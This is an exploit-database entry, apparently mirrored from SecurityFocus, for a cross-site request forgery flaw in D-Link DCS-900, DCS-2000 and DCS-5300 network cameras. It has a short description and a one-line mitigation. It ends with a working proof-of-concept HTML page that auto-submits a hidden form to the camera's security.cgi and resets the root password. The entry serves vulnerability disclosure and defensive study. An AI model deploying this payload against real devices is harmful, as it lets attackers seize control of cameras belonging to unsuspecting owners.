Cross-Site Request-Forgery Vulnerability in D-Link DCS-900, DCS-2000, and DCS-5300

vendor:

DCS-900, DCS-2000, and DCS-5300

by:

SecurityFocus

7,5

CVSS

HIGH

Cross-Site Request-Forgery

352

CWE

Product Name: DCS-900, DCS-2000, and DCS-5300

Affected Version From: DCS-900, DCS-2000, and DCS-5300

Affected Version To: DCS-900, DCS-2000, and DCS-5300

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

Cross-Site Request-Forgery Vulnerability in D-Link DCS-900, DCS-2000, and DCS-5300

The D-Link DCS-900, DCS-2000, and DCS-5300 are prone to a cross-site request-forgery vulnerability. Successful exploits may allow attackers to run privileged commands on the affected device, change configuration, cause denial-of-service conditions, or inject arbitrary script code. Other attacks are also possible.

Mitigation:

Implementing a strong authentication mechanism and validating all input data can help mitigate this vulnerability.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/52134/info

The D-Link DCS-900, DCS-2000, and DCS-5300 are prone to a cross-site request-forgery vulnerability.

Successful exploits may allow attackers to run privileged commands on the affected device, change configuration, cause denial-of-service conditions, or inject arbitrary script code. Other attacks are also possible.

This issue affects D-Link DCS-900, DCS-2000, and DCS-5300. 

<html>
<body onload="javascript:document.forms[0].submit()">
<form method="POST" name="form0" action="http://www.example.com/setup/security.cgi">
<input type="hidden" name="rootpass" value="your_pass"/>
<input type="hidden" name="confirm" value="your_pass"/>
</form>
</body>
</html>